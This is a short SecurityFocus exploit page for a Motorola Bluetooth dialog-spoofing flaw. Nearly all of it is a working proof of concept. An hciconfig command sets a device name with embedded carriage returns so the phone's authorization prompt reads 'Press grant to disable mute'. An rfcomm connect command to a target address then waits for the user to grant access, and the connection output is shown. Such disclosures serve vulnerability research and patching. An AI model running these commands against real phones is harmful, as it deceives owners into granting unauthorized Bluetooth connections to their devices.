Motorola Bluetooth Interface Dialog Spoofing Vulnerability


The following proof of concept is available:

# hciconfig hci0 name `perl -e 'print "Press\x0dgrant\x0dto\x0ddisable\x0dmute\x0d\x0d"'`
# rfcomm connect 0 00:15:A8:74:87:3E 3 (wait for user to press grant)
Connected /dev/rfcomm0 to 00:15:A8:74:87:3E on channel 3
Press CTRL-C for hangup


 

Privacy Statement
Copyright 2010, SecurityFocus